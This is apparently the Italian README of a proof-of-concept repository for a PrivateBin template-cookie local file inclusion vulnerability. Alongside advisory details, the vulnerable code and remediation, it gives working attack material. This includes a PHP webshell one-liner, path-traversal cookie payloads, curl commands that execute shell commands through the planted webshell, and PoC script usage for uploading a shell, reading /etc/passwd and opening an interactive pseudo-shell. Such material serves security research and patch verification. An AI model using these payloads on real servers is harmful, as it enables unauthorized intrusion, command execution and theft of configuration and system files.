
Gravità: Media (CVSS v3.1: 5.8)
Vettore:AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
Versioni interessate: PrivateBin >= 1.7.7
Versione corretta: 2.0.3
CWE: CWE-23 (Path Traversal relativo), CWE-73 (Controllo esterno del nome o del percorso del file), CWE-98 (Inclusione di file PHP)
Avviso ufficiale: https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82
Segnalatore: Benoit Esnard
PrivateBin versione 1.7.7 ha introdotto una funzionalità di cambio template che consente agli utenti di memorizzare il proprio tema visivo preferito tramite un cookie template. A causa di una validazione insufficiente del valore del cookie, un attaccante non autenticato può fornire una sequenza di path traversal (es. ../) per indurre il server a includere un file PHP arbitrario al di fuori della directory tpl/ prevista — una classica vulnerabilità di Local File Inclusion (LFI).
Se combinata con una write primitive separata (un endpoint di upload configurato in modo errato, un'altra vulnerabilità o accesso locale), questa LFI può essere elevata a Remote Code Execution (RCE).
44f8cfb, v1.7.7)Prima della v1.7.7, TemplateSwitcher::isTemplateAvailable() accettava solo template che facevano parte di una allow-list predefinita:
// SAFE (before 1.7.7)
public static function isTemplateAvailable(string $template): bool
{
return in_array($template, self::getAvailableTemplates());
}
Nella v1.7.7 è stato aggiunto un percorso di fallback per supportare temi di terze parti. Il nuovo codice verifica se il file esiste sul disco invece di validarlo rispetto a una lista sicura:
// VULNERABLE (1.7.7 – 2.0.2)
public static function isTemplateAvailable(string $template): bool
{
$available = in_array($template, self::getAvailableTemplates());
if (!$available && !View::isBootstrapTemplate($template)) {
$path = View::getTemplateFilePath($template);
$available = file_exists($path); // ← trusts user-supplied $template
}
return $available;
}
View::getTemplateFilePath() concatena semplicemente il valore fornito dall'utente in un percorso del filesystem:
// Simplified
return PATH . 'tpl' . DIRECTORY_SEPARATOR . $template . '.php';
Con template=../cfg/conf il percorso risolto diventa:
/var/www/privatebin/tpl/../cfg/conf.php
──────────────────────────────────
= /var/www/privatebin/cfg/conf.php
Non viene chiamato realpath(), non vengono rimosse le sequenze .. e non viene verificato che il percorso risolto rimanga all'interno di tpl/.
Una volta che isTemplateAvailable() restituisce true, View::draw() include incondizionatamente il percorso:
public function draw($template)
{
$path = self::getTemplateFilePath($template);
if (!file_exists($path)) {
throw new Exception('Template ' . $template . ' not found!', 80);
}
extract($this->_variables);
include $path; // ← attacker-controlled path included here
}
Anche extract($this->_variables) viene eseguito prima dell'inclusione, inquinando potenzialmente il namespace delle variabili disponibili al file incluso.
L'unica protezione aggiuntiva è un controllo che blocca le stringhe che iniziano con bootstrap-:
if (!$available && !View::isBootstrapTemplate($template)) { … }
isBootstrapTemplate() restituisce true solo quando la stringa inizia con bootstrap-. Una stringa di path traversal come ../data/shell bypassa banalmente questo controllo.
Entrambe le condizioni devono essere vere simultaneamente:
| # | Condizione |
|---|---|
| 1 | templateselection = true è impostato in cfg/conf.php (non predefinito) |
| 2 | L'attaccante può fare riferimento a un file .php esistente tramite un percorso relativo da tpl/ |
Per LFI pura / info-leak, la condizione 2 è già soddisfatta dai file PHP esistenti di PrivateBin.
Per la RCE, l'attaccante ha inoltre bisogno di una write primitive per posizionare una webshell PHP in una directory raggiungibile (es. data/, directory di upload scrivibili, ecc.).
L'attaccante legge i file PHP di PrivateBin. La maggior parte è protetta da una riga di guardia che produce una risposta 403 o 500, ma la risposta stessa conferma la LFI.
Cookie: template=../cfg/conf
Risolto lato server: tpl/../cfg/conf.php → cfg/conf.php
Anche una risposta 500 è un segnale significativo: dimostra che il file è stato raggiunto e il motore PHP ha tentato di eseguirlo.
⚠️ Prerequisito importante: CVE-2025-64714 è una vulnerabilità di Local File Inclusion — può solo includere file già esistenti sul server. Non fornisce alcuna capacità di scrittura da sola. Per ottenere la RCE devi prima ottenere una write primitive tramite un vettore completamente separato (es. una vulnerabilità di upload di file in un altro componente, SSRF verso un servizio interno, o accesso diretto al filesystem in un ambiente CTF/lab). Senza una write primitive, le modalità
--cmde--interactivedel PoC non hanno alcun effetto. Lo script PoC verifica solo una webshell che devi aver già posizionato con altri mezzi.
Passo 1 — Caricare una webshell utilizzando qualsiasi vettore di scrittura (es. un'altra vulnerabilità di upload di file, SSRF verso un servizio interno, o accesso diretto al filesystem in uno scenario CTF/lab):
// /var/www/privatebin/data/shell.php
<?php if(isset($_REQUEST['cmd'])){echo '<pre>'.shell_exec($_REQUEST['cmd']).'</pre>';} ?>
Passo 2 — Attivare la LFI tramite il cookie template:
Cookie: template=../data/shell
Risolto: tpl/../data/shell.php → data/shell.php ✓
Passo 3 — Eseguire comandi tramite parametro GET:
curl -s -k \
--cookie 'template=../data/shell' \
-G --data-urlencode "cmd=id" \
https://bin.example.com
Risposta:
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
Se altre applicazioni PHP condividono la stessa root web (comune nell'hosting condiviso), i loro file di configurazione potrebbero essere raggiungibili:
Cookie: template=../../other_app/config/database
pip install requests
# 1. Detect whether the target is vulnerable
python3 poc.py --url https://bin.example.com --detect
# 2. Trigger LFI to read a specific PHP file
python3 poc.py --url https://bin.example.com --template ../cfg/conf
# 3. Upload + trigger webshell + run single command (RCE chain)
python3 poc.py --url https://bin.example.com \
--upload-shell ../data/pwn \
--cmd "cat /etc/passwd"
# 4. Interactive pseudo-shell
python3 poc.py --url https://bin.example.com \
--upload-shell ../data/pwn \
--interactive
# Detection probe
curl -s -k --cookie 'template=../cfg/conf' https://bin.example.com
# RCE (after writing shell to data/pwn.php)
curl -s -k \
--cookie 'template=../data/pwn' \
-G --data-urlencode "cmd=id" \
https://bin.example.com
L'analisi del team di PrivateBin ha rilevato che 11 istanze su ~300 elencate pubblicamente avevano templateselection abilitato, e nessuna aveva un file di configurazione non protetto al momento della divulgazione. Tuttavia, la vulnerabilità è comunque significativa in ambienti con configurazioni errate o vulnerabilità di scrittura secondarie.
Aggiorna a PrivateBin 2.0.3 o successivo. La correzione ripristina una rigorosa validazione tramite allow-list: il valore del cookie template viene accettato solo se corrisponde esattamente a un nome di template dall'elenco availabletemplates configurato.
Disabilita la selezione del template in cfg/conf.php:
[main]
templateselection = false
Questo è il valore predefinito; deve essere impostato esplicitamente solo se era stato precedentemente abilitato.
Questo repository è fornito solo per scopi educativi e test di sicurezza autorizzati. L'autore non è responsabile di qualsiasi uso improprio. Ottieni sempre un'autorizzazione scritta esplicita prima di testare sistemi che non possiedi. Lo sfruttamento non autorizzato di sistemi informatici è illegale nella maggior parte delle giurisdizioni.
| Vettore | Impatto | Note |
|---|
| LFI — Config di PrivateBin | Limitato | Il file di configurazione predefinito ha una riga di protezione PHP; produce 403/500 |
| LFI — File di dati dei paste | Limitato | Ogni file di paste include la stessa riga di protezione |
| LFI — File PHP di terze parti | Alto | Dipende dalle applicazioni co-ospitate |
| LFI + write primitive → RCE | Critico | Esecuzione completa di comandi come utente del web server |